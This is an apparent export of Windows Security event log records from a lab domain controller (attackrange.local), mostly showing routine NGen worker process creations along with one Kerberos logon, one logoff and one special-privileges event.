C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 34c -InterruptEvent 0 -NGENProcess 31c -Pipe 344 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:02:30 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254300 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x508 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 338 -InterruptEvent 0 -NGENProcess 354 -Pipe 1e4 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:02:33 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254304 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x278 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 314 -InterruptEvent 0 -NGENProcess 2f8 -Pipe 320 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:02:33 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254303 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x12ac - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 214 -InterruptEvent 0 -NGENProcess 33c -Pipe 30c -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:02:33 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254302 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xb1c - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 368 -InterruptEvent 0 -NGENProcess 2f8 -Pipe 35c -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:02:34 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254307 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x574 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 31c -InterruptEvent 0 -NGENProcess 2e0 -Pipe 2ac -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:02:34 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254306 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x12bc - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 22c -InterruptEvent 0 -NGENProcess 314 -Pipe 214 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:02:34 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254305 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xc88 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 2ac -InterruptEvent 0 -NGENProcess 31c -Pipe 330 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:02:35 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254311 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xf58 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 208 -InterruptEvent 0 -NGENProcess 2e0 -Pipe 360 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:02:35 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254310 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x32c - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 37c -InterruptEvent 0 -NGENProcess 388 -Pipe 390 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:02:35 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254309 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x9cc - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 384 -InterruptEvent 0 -NGENProcess 2e0 -Pipe 310 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:02:35 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254308 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x9f0 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 360 -InterruptEvent 0 -NGENProcess 388 -Pipe 368 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:02:38 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254313 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x12c4 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 388 -InterruptEvent 0 -NGENProcess 2e0 -Pipe 39c -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:02:38 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254312 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1310 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 38c -InterruptEvent 0 -NGENProcess 3a8 -Pipe 398 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:02:54 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254314 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x4b4 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 3b0 -InterruptEvent 0 -NGENProcess 38c -Pipe 3b4 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:02:55 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254315 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1110 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 2e0 -InterruptEvent 0 -NGENProcess 384 -Pipe 388 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:02:57 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=254318 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xEE593 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 12:02:57 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=254317 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xEE593 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: ::1 - Source Port: 62451 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 12:02:57 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=254316 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xEE593 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 12:03:05 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254319 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1344 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 3dc -InterruptEvent 0 -NGENProcess 38c -Pipe 3ac -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:03:06 AM -LogName=Security -SourceName=Microsoft Windows security auditing. 